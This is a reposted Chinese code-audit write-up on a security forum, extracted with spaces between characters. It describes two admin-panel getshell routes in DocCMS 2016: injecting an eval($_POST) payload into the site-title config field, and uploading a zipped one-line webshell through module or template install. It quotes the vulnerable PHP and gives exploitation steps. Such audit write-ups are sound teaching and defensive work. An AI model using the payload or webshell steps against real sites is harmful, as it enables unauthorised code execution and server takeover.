搜索

[855] 2018-04-15_【代码审计】后台Getshell的两种常规姿势

文档创建者：s7ckTeam
浏览次数：56
最后更新：2025-01-16
2018-04-15_【代码审计】后台Getshell的两种常规姿势 0 0 0 1 0 2 【 代 码 审 计 】 后 台 G e t s h e l l 的 两 种 常 规 姿 势 原 创   B y p a s s   B y p a s s   2 0 1 8 - 0 4 - 1 5 前 言 前 言         在 早 些 年 刚 接 触 w e b 安 全 的 时 候 ， 基 础 套 路 都 是 找 注 入 - - 找 后 台 - - 找 上 传 点 - - 找 数 据 库 备 份 - - G e t s h e l l ， 然 而 在 代 码 审 计 的 角 度 ， 也 存 在 类 似 的 基 本 操 作 。   这 里 结 合 代 码 实 例 介 绍 白 盒 G e t s h e l l 的 两 种 常 规 姿 势 ： 写 入 配 置 文 件 G e t s h e l l 、 模 块 安 装 G e t s h e l l 。 环 境 搭 建 环 境 搭 建 D o c c m s 官 网 ： h t t p : / / w w w . d o c c m s . c o m 程 序 源 码 ： D o c C m s 2 0 1 6 下 载 地 址 ： h t t p s : / / p a n . b a i d u . c o m / s / 1 p L c l i f L 写 入 配 置 文 件 写 入 配 置 文 件 G e t s h e l l 代 码 分 析 ： 代 码 分 析 ： 1 、 在 / a d m i n i / c o n t r o l l e r s / s y s t e m / o p t i o n s . p h p ， s a v e 函 数 通 过 一 大 串 的 表 达 式 替 换 得 到 变 量 t e m p S t r ， 然 后 调 用 了 s t r i n g 2 f i l e 函 数 写 入 配 置 文 件 ， 跟 进 这 两 个 函 数 查 看 ： f u n c t i o n   s a v e ( ) {         g l o b a l   $ r e q u e s t ;         i f ( f i l e s i z e ( A B S P A T H . ' / c o n f i g / d o c - c o n f i g - ' . $ r e q u e s t [ ' l ' ] . ' . p h p ' ) > 0 ) {                 … …                 $ t e m p S t r   =   f i l e 2 S t r i n g ( A B S P A T H . ' / c o n f i g / d o c - c o n f i g - ' . $ r e q u e s t [ ' l ' ] . ' . p h p ' ) ;                 $ t e m p S t r   =   p r e g _ r e p l a c e ( " / ( ' W E B O P E N ' , . * ? ) / i " , " ( ' W E B O P E N ' , " . $ r e q u e s t [ ' w e b o p e n ' ] . " ) " , $ t e m p S t r ) ;                 $ t e m p S t r   =   p r e g _ r e p l a c e ( " / ' W E B U R L ' , ' . * ? ' / i " , " ' W E B U R L ' , ' " . $ r e q u e s t [ ' w e b u r l ' ] . " ' " , $ t e m p S t r ) ;                 $ t e m p S t r   =   p r e g _ r e p l a c e ( " / ' M O B I L E U R L ' , ' . * ? ' / i " , " ' M O B I L E U R L ' , ' " . $ r e q u e s t [ ' m o b i l e u r l ' ] . " ' " , $ t e m p S t r ) ;                 $ t e m p S t r   =   p r e g _ r e p l a c e ( " / ' W E B S I Z E ' , ' . * ? ' / i " , " ' W E B S I Z E ' , ' " . $ r e q u e s t [ ' w e b s i z e ' ] . " ' " , $ t e m p S t r ) ;                 $ t e m p S t r   =   p r e g _ r e p l a c e ( " / ' S I T E N A M E ' , ' . * ? ' / i " , " ' S I T E N A M E ' , ' " . $ r e q u e s t [ ' s i t e n a m e ' ] . " ' " , $ t e m p S t r ) ;                                   … … 2 、 在 / i n c / f u n c t i o n . p h p ， 第 1 0 0 - 1 0 5 行 中 ， s t r i n g 2 f i l e 函 数 ， 并 未 做 任 何 处 理 ， 只 是 将 字 符 串 写 入 文 件 中 ： f u n c t i o n   s t r i n g 2 f i l e ( $ s t r , $ f i l e P a t h ) {         $ f p = f o p e n ( $ f i l e P a t h , ' w + ' ) ;         f w r i t e ( $ f p , $ s t r ) ;         f c l o s e ( $ f p ) ; } 综 上 ， 在 表 达 式 替 换 字 符 串 的 过 程 中 ， 只 是 作 为 简 单 的 字 符 串 替 换 ， 并 未 做 任 何 匹 配 限 制 ， 我 们 可 以 将 构 造 好 的 代 码 写 入 配 置 中 ， 导 致 程 序 在 实 现 上 存 在 代 码 执 行 漏 洞 。   漏 洞 利 用 ： 漏 洞 利 用 ：   1 、 登 录 后 台 ， 在 站 点 设 置 - - 基 本 设 置 - - 站 点 标 题 处 ， 填 写   P a y l o a d ： t e s t ' ) ; e v a l ( $ _ P O S T [ g ] ) ; / /
0 3 2 、   成 功 写 入 全 局 配 置 文 件 d o c - c o n f i g - c n . p h p 中 ： 3 、 直 接 访 问 h t t p : / / 1 2 7 . 0 . 0 . 1 / c o n f i g / d o c - c o n f i g - c n . p h p ， 显 示 4 0 3 F o r b i d d e n ， 全 局 搜 索   d o c - c o n f i g - c n . p h p ， 查 找 包 含 该 文 件 的 文 件 。 4 、 访 问 h t t p : / / 1 2 7 . 0 . 0 . 1 / e d i t o r / k e d i t o r / p h p / u p l o a d _ j s o n . p h p ， 因 此 文 件 包 含 d o c - c o n f i g - c n . p h p ， 包 含 的 代 码 执 行 漏 洞 被 触 发 。 模 块 上 传 模 块 上 传 G e t s h e l l
0 4 代 码 分 析 ： 代 码 分 析 ： f u n c t i o n   u p l o a d _ m o d e l ( ) {         / / 把 模 版 先 暂 时 上 传 在 系 统 根 目 录 的 T E M P 文 件 夹 里 ， 解 决 s a f e _ m o d e   O n 时 无 法 上 传 在 环 境 文 件 夹 下         / / s u n y . 2 0 0 8 . 0 1 . 1 6         $ u p l o a d   =   n e w   U p l o a d ( 1 0 0 0 0 , ' / t e m p / ' ) ;         $ f i l e N a m e   =   $ u p l o a d - > S a v e F i l e ( ' u p f i l e ' ) ;         i f ( i s _ f i l e ( A B S P A T H . ' / t e m p / ' . $ f i l e N a m e ) )         {                 d e l _ d i r ( A B S P A T H . U P L O A D P A T H . ' t e m p / ' ) ;                 m k d i r s ( A B S P A T H . U P L O A D P A T H . ' t e m p / ' ) ;                 i f ( u n z i p ( A B S P A T H . U P L O A D P A T H . ' t e m p / ' , A B S P A T H . ' / t e m p / ' . $ f i l e N a m e , A B S P A T H . ' / t e m p / ' . $ f i l e N a m e ) = = 1 )                 {                         $ d o c   =   g e t _ c o n f i g _ x m l d o c ( ' c o n f i g ' ) ;                         e x e c _ c o n f i g ( $ d o c ) ;                         $ d o c   =   g e t _ c o n f i g _ x m l d o c ( ' i n s t a l l ' ) ;                         e x e c _ i n s t a l l ( $ d o c ) ;                                 r e d i r e c t ( ' ? m = s y s t e m & s = m a n a g e m o d e l ' ) ;                 }         } } 在 模 块 上 传 的 过 程 中 ， 先 删 除 t e m p 目 录 中 存 在 的 所 有 文 件 ， 然 后 解 压 缩 文 件 到 t e m p 目 录 下 ， 我 们 可 以 上 传 一 个 压 缩 打 包 好 的 一 句 话 木 马 ， 自 动 解 压 缩 到 t e m p 目 录 下 ， 获 取 w e b s h e l l 。   漏 洞 利 用 ： 漏 洞 利 用 ： 1 、 模 块 管 理 - - 安 装 模 块 - - 上 传 z i p 压 缩 文 件 - - 上 传 完 成 - - 自 动 解 压 u p l o a d t e m p 目 录 下   可 g e t s h e l l 2 、 成 功 将 一 句 话 木 马 ， 上 传 到 t e m p 目 录 下 另 外 ， 在 其 他 功 能 中 ， 也 找 到 了 类 似 的 操 作 ， 如 ： 模 板 管 理 - - 上 传 模 板 - - 上 传 z i p 压 缩 文 件 - - 上 传 完 成 - - 自 动 解 压 s k i n s 目 录 下 ， 可 g e t s h e l l E N D 如 果 手 头 拿 到 一 套 代 码 ， 想 要 了 解 如 何 去 G e t s h e l l ， 除 了 上 传 点 ， 那 么 这 两 种 常 规 姿 势 是 非 常 有 效 的 ， 当 然 思 路 不 局 限 ， 只 是 分 享 一 个 审 计 套 路 而 已 。 有 朋 自 远 方 来 ， 不 亦 乐 乎 ？ 有 对 这 方 面 有 研 究 的 童 鞋 ， 欢 迎 前 来 相 互 探 讨 ， 交 流 。 喜 欢 这 篇 文 章 的 人 也 喜 欢   ·   ·   ·   ·   ·   · ▶   【 代 码 审 计 】 E a s y S N S _ V 1 . 6 远 程 图 片 本 地 化 导 致 G e t s h e l l ▶   【 代 码 审 计 】 S Q L 二 次 编 码 注 入 漏 洞 实 例 （ 附 t a m p e r 脚 本 ） ▶   【 代 码 审 计 】 M I P C M S   远 程 写 入 配 置 文 件 G e t s h e l l ▶   【 代 码 审 计 】 C L T P H P _ v 5 . 5 . 3 前 台 X M L 外 部 实 体 注 入 漏 洞
B y p a s s A b o u t   M e 一 个 网 络 安 全 爱 好 者 ， 对 技 术 有 着 偏 执 狂 一 样 的 追 求 。 致 力 于 分 享 原 创 高 质 量 干 货 ， 包 括 但 不 限 于 ： 渗 透 测 试 、 W A F 绕 过 、 代 码 审 计 、 安 全 运 维 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理